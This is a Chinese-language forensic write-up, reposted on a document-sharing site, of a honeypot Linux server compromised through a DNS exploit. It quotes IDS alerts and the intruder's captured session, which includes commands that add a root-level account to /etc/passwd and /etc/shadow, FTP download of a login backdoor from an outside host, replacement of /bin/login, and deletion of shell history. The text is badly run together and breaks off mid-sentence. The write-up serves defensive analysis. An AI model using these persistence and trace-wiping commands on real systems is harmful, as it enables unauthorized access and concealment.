一次被DNS攻击后的分析.docx
《一次被DNS攻击后的分析.docx》由会员分享,可在线阅读,更多相关《一次被DNS攻击后的分析.docx(22页珍藏版)》请在冰豆网上搜索。
![一次被DNS攻击后的分析.docx](https://file1.bdocx.com/fileroot1/2023-1/27/36eeba52-6570-4edb-bab7-6100047b2555/36eeba52-6570-4edb-bab7-6100047b25551.gif)
一次被DNS攻击后的分析
一次被DNS攻击后的分析
这篇文章是关于被DNS攻击后的系统分析,通过这个分析可以了解攻击者的行为,能很好的了解怎样攻击,攻击后做什么等各种行为,有助你更好的维护系统。
原文作者:
lance@
背景
此文信息由honeypot--VISION的IDS签字。
攻击行为
在四月26号,snort提醒我其中的一个系统正受到一个'noop'攻击,信息包装载包含noops的信息,在此情况下,SNORT探测到攻击和记录了警告信息到/var/log/messages文件中(使用
Apr2606:
43:
05lisasnort[6283]:
IDS181/nops-x86:
63.226.81.13:
1351->172.16.1.107:
53
我的honeypots接受无数探测,扫描和查询,而且下面的一个警告信息使我注意到其中一个系统可能被破坏,下面的系统LOG信息指示攻击者正开始了一个连接和LOGIN了系统:
Apr2606:
44:
25victim7PAM_pwdb[12509]:
(login)sessionopenedforusertwinby(uid=0)
Apr2606:
44:
36victim7PAM_pwdb[12521]:
(su)sessionopenedforuserhantubytwin(uid=506)
从上面的情况可以看到,入侵者已经获得超级用户权利和控制了整个系统,但这是怎样完成的呢,我们下面开始分析:
分析
当分析一攻击的时候,最好的位置是在开始端,即攻击者是从哪里开始的,攻击者一般开始是收集系统信息,可以让他获得系统所存在的漏洞,如果你的系统被破坏,这就表明攻击者不是第一次与你的系统通信了,大多数攻击者必须通过对你系统的连接获得初始化的信息。
所以我们从最开始的信息收集开始,从第一条信息可以知道攻击初于53端口,这表示在我们系统上发动了一个DNS攻击,所以我通过我的snortalerts--
可能的信息探测,我们发现一DNS版本查询探测的信息:
Apr2502:
08:
07lisasnort[5875]:
IDS277/DNS-version-query:
63.226.81.13:
4499->172.16.1.107:
53
Apr2502:
08:
07lisasnort[5875]:
IDS277/DNS-version-query:
63.226.81.13:
4630->172.16.1.101:
53
注意,这个探测日期是4月25日,我们系统被攻击是在4月26号,系统是在被探测后的一天被入侵的,所以我猜测攻击者是使用一些扫描器扫描出一些关于DNS漏洞的信息,扫描以后,攻击者查看扫描结果,获得系统漏洞信息,然后启用他们的EXPLOIT。
这样我们可以得到如下结论:
在4月25号被检测后,后一天被侵入,通过我们的IDS警告,我们获知我们是被DNS漏洞攻击。
THEEXPLOIT:
类似于大多数商业IDS系统,snort可以显示我们所有IP信息包装载数据,我们就使用这功能来分析EXPLOIT,这个EXPLOIT信息可以从snort的LOG记录获得(存储在tcpdump两进制格式)。
我查询snort的LOG记录并开始分析攻击开始时候的信息包,我没有把信息限制在仅查询主机63.336.81.13,主要是因为攻击者使用三个不同系统来运行这个EXPLOIT,这个EXPLOIT的目标是在远程主机上获得ROOTSHELL,一旦攻击者获得ROOTSHELL,他们可以以ROOT身份运行所有命令,还通常会在/etc/passwd和/etc/shadow文件中增加帐号,下面的获得ROOTSHELL后执行的一些命令:
cd/;uname-a;pwd;id;
Linuxapollo.uicmba.edu2.2.5-15#1MonApr1922:
21:
09EDT1999i586unknown
/
uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
echo"twin:
:
506:
506:
:
/home/twin:
/bin/bash">>/etc/passwd
echo"twin:
w3nT2H0b6AjM2:
:
:
:
:
:
:
">>/etc/shadow
echo"hantu:
:
0:
0:
:
/:
/bin/bash">>/etc/passwd
echo"hantu:
w3nT2H0b6AjM2:
:
:
:
:
:
:
">>/etc/shadow
从上面可以知道,攻击者运行了uname-a查询了系统,和PWD查询当前目录,和ID查看UID,并增加了twin和hantu两个帐号,使用了相同的密码,必须注意,twin使用了UID为506,而hantu使用了UID为0(另一方面hantu是印度尼西亚语言中的鬼魂的意思),要知道,大多数系统中不允许UID为0的帐号远程TELNET,所以起建立了一个可以远程TELNET的帐号,并建立了以后可以SU到ROOT的帐号。
在90秒内攻击者利用了EXPLOIT程序进入系统,并获得ROOT权利(可以通过下面的LOG记录),
Apr2606:
43:
05lisasnort[6283]:
IDS181/nops-x86:
63.226.81.13:
1351->172.16.1.107:
53
Apr2606:
44:
25victim7PAM_pwdb[12509]:
(login)sessionopenedforusertwinby(uid=0)
Apr2606:
44:
36victim7PAM_pwdb[12521]:
(su)sessionopenedforuserhantubytwin(uid=506)
现在要分析其下一步将做什么?
获得访问权利后的活动
比较幸运的是,TELNET是明文协议,对数据没有进行加密,这表示我们可以解开其踪迹和捕获其击键记录,而snort就做好了这些,这就是snort另一个好处,通过捕获对TELNET会话的击键记录,我们可以判断攻击者在做何工作,snort捕获了不但是STDIN(击键),而且还有STDOUT和STDER记录,让我们来看看TELNET会话和入侵者的活动吧:
开始,我们的朋友一twin身份TELNET系统(从213.28.22.189),并获得超级用户身份-hantu,这里要记住他不能以UID为0的身份TELNET。
#'!
"'!
"#'9600,9600'VT5444VT5444
RedHatLinuxrelease6.0(Shedwig)
Kernel2.2.5-15onani586
login:
twin
Password:
Password:
hax0r
Nodirectory/home/twin!
Logginginwithhome="/".
[twin@apollo/]$suhantu
Password:
Password:
hax0r
下一步,攻击者去其他机器抓取ROOTKIT程序,如下:
[root@apollo/]#ftp24.112.167.35
Connectedto24.112.167.35.
220linuxFTPserver(Versionwu-2.5.0
(1)TueSep2116:
48:
12EDT1999)ready.
Name(24.112.167.35:
twin):
welek
331Passwordrequiredforwelek.
Password:
password
230Userwelekloggedin.
RemotesystemtypeisUNIX.
Usingbinarymodetotransferfiles.
ftp>getbj.c
local:
bj.cremote:
bj.c
200PORTcommandsuccessful.
150OpeningBINARYmodedataconnectionforbj.c(1010bytes).
226Transfercomplete.
1010bytesreceivedin0.115secs(8.6Kbytes/sec)
ftp>quit
221-Youhavetransferred1010bytesin1files.
221-Totaltrafficforthissessionwas1421bytesin1transfers.
221-ThankyouforusingtheFTPserviceonlinux.
221Goodbye.
他FTP获得了后门程序,编译了bj.c,并安装代替了/sbin/login程序,(从下面的记录来看,攻击者使用了COPY和粘贴的工作):
root@apollo/]#gcc-ologinbj.cchownroot:
binloginchmod4555loginchmodu-wlogincp/bin/login/usr/bin/xstatcp/bin/login/usr/bin/old
rm/bin/loginchmod555/usr/bin/xstatchgrpbin/usr/bin/xstatmvlogin/bin/loginrmbj.cgcc-ologinbj.c
bj.c:
16:
unterminatedstringorcharacterconstant
bj.c:
12:
possiblerealstartofunterminatedconstant
然后他起用了后门程序:
[root@apollo/]#chownroot:
binlogin
chown:
login:
Nosuchfileordirectory
[root@apollo/]#chmod4555login
chmod:
login:
Nosuchfileordirectory
[root@apollo/]#chmodu-wlogin
chmod:
login:
Nosuchfileordirectory
[root@apollo/]#cp/bin/login/usr/bin/xstat
[root@apollo/]#cp/bin/login/usr/bin/old
[root@apollo/]#rm/bin/login
[root@apollo/]#chmod555/usr/bin/xstat
[root@apollo/]#chgrpbin/usr/bin/xstat
[root@apollo/]#mvlogin/bin/login
mv:
login:
Nosuchfileordirectory
[root@apollo/]#rmbj.c
后来从记录来看,攻击者并没有成功,他又一次FTP到站点再次下载了后门:
[root@apollo/]#ftp24.112.167.35
Connectedto24.112.167.35.
220linuxFTPserver(Versionwu-2.5.0
(1)TueSep2116:
48:
12EDT1999)ready.
Name(24.112.167.35:
twin):
[root@apollo/]#ftp24.112.167.35
Connectedto24.112.167.35.
220linuxFTPserver(Versionwu-2.5.0
(1)TueSep2116:
48:
12EDT1999)ready.
Name(24.112.167.35:
twin):
welek
331Passwordrequiredforwelek.
Password:
331Passwordrequiredforwelek.
Password:
password
230Userwelekloggedin.
RemotesystemtypeisUNIX.
Usingbinarymodetotransferfiles.
ftp>getbj.c
qulocal:
bj.cremote:
bj.c
200PORTcommandsuccessful.
u150OpeningBINARYmodedataconnectionforbj.c(1011bytes).
226Transfercomplete.
1011bytesreceivedin0.134secs(7.3Kbytes/sec)
ftp>itit
221-Youhavetransferred1011bytesin1files.
221-Totaltrafficforthissessionwas1422bytesin1transfers.
221-ThankyouforusingtheFTPserviceonlinux.
221Goodbye.
这是攻击者第二次尝试了编译后门,注意他还是使用"cut和paste"命令:
[root@apollo/]#gcc-ologinbj.cchownroot:
binloginchmod4555loginchmodu-wlogincp/bin/login/usr/bin/xstatcp/bin/login/usr/bin/old
rm/bin/loginchmod555/usr/bin/xstatchgrpbin/usr/bin/xstatmvlogin/bin/loginrmbj.cgcc-ologinbj.c
bj.c:
Infunction`owned':
bj.c:
16:
warning:
assignmentmakespointerfromintegerwithoutacast
我们注意到编译的后门被采用,并把合法的/bin/login移到和命名为了/usr/bin/xstat,并把编译后的bj.c代码代替了/bin/login,这个后门程序允许任何人把TERM设定为ct9111可以进行不用认证的访问:
[root@apollo/]#chownroot:
binlogin
[root@apollo/]#chmod4555login
[root@apollo/]#chmodu-wlogin
[root@apollo/]#cp/bin/login/usr/bin/xstat
cp:
/bin/login:
Nosuchfileordirectory
[root@apollo/]#cp/bin/login/usr/bin/old
cp:
/bin/login:
Nosuchfileordirectory
[root@apollo/]#rm/bin/login
rm:
cannotremove`/bin/login':
Nosuchfileordirectory
[root@apollo/]#chmod555/usr/bin/xstat
[root@apollo/]#chgrpbin/usr/bin/xstat
[root@apollo/]#mvlogin/bin/login
下面的是攻击者摸去其脚印的活动,我相信他使用了脚本程序,并使用了CUT和PASTE,因为注意所有命令的执行只有一个命令提示符,并从下面的记录我们可以知道这个清理的脚本语言名字为'generic',注意它是怎样删除这些文件的:
[root@apollo/]#rmbj.c
[root@apollo/]#[root@apollo/]#ps-aux|grepinetd;ps-aux|grepportmap;
rm/sbin/portmap;rm/tmp/h;rm/usr/sbin/rpc.portmap;rm-rf.bash*;
rm-rf/root/.bash_history;rm-rf/usr/sbin/namedps-aux|grepinetd;ps-aux|grepportmap;
rm/sbin/porrm/tmp/h;rm/usrsbin/rpc.portmap;rm-rfrm-rf/root/.barm-rf/root/.bash_history;rm-rf/usr/sbin/named
359?
00:
00:
00inetd
359?
00:
00:
00inetd
rm:
cannotremove`/tmp/h':
Nosuchfileordirectory
rm:
cannotremove`/usr/sbin/rpc.portmap':
Nosuchfileordirectory
[root@apollo/]#ps-aux|grepportmap
[root@apollo/]#[root@apollo/]#ps-aux|grepinetd;ps-aux|grepportmap;rm/sbin/portmap;
rm/tmp/h;rm/usr/sbin/rpc.portmap;rm-rf.bash*;rm-rf/root/.bash_history;
rm-rf/usr/sbin/namedps-aux|grepinetd;ps-aux|grepportmap;rm/sbin/porps-aux|grepportmap;rm/sbin/portmap;rm/tmp/h;rm/usrrm/tmp/h;rm/usr/sbin/rpc.portmap;rm-rf.bash*;rm-rf/root/.barm-rf/usr/s359?
00:
00:
00inetd
rm:
cannotremove`/sbin/portmap':
Nosuchfileordirectory
rm:
cannotremove`/tmp/h':
Nosuchfileordirectory
rm:
cannotremove`/usr/sbin/rpc.portmap':
Nosuchfileordirectory
[root@apollo/]#rm:
cannotremove`/sbin/portmap':
Nosuchfileordirectory
这里发现了一个有趣的事情,这个攻击者使用的generic清理脚本在尝试删除不存在文件的时候产生了错误,我判断攻击者看到了这些信息并尝试了手工删除这些文件,经管这些文件不存在:
rm:
cannotremove`/tmp/h':
Nosuchfileordirectory
rm:
cannotremove`/usr/sbin/rpc.portmap':
Nosuchfileordirectory
[root@apollo/]#rm:
cannotremove`/sbin/portmap':
Nosuchfileordirectory
rm:
cannotremove`/tmp/h':
Nosuchfileordirectory
rm:
cannotremove`/usr/sbin/rpc.portmap':
Nosuchfileordirectory
[root@apollo/]#exit
exit
[twin@apollo/]$exit
logout
到这里为止,他离开了系统,并安装了BJ.C后门,这个后门允许未认证的访问,只要把TERM设置为VT9111即可。
后来,攻击者又多次进行了连接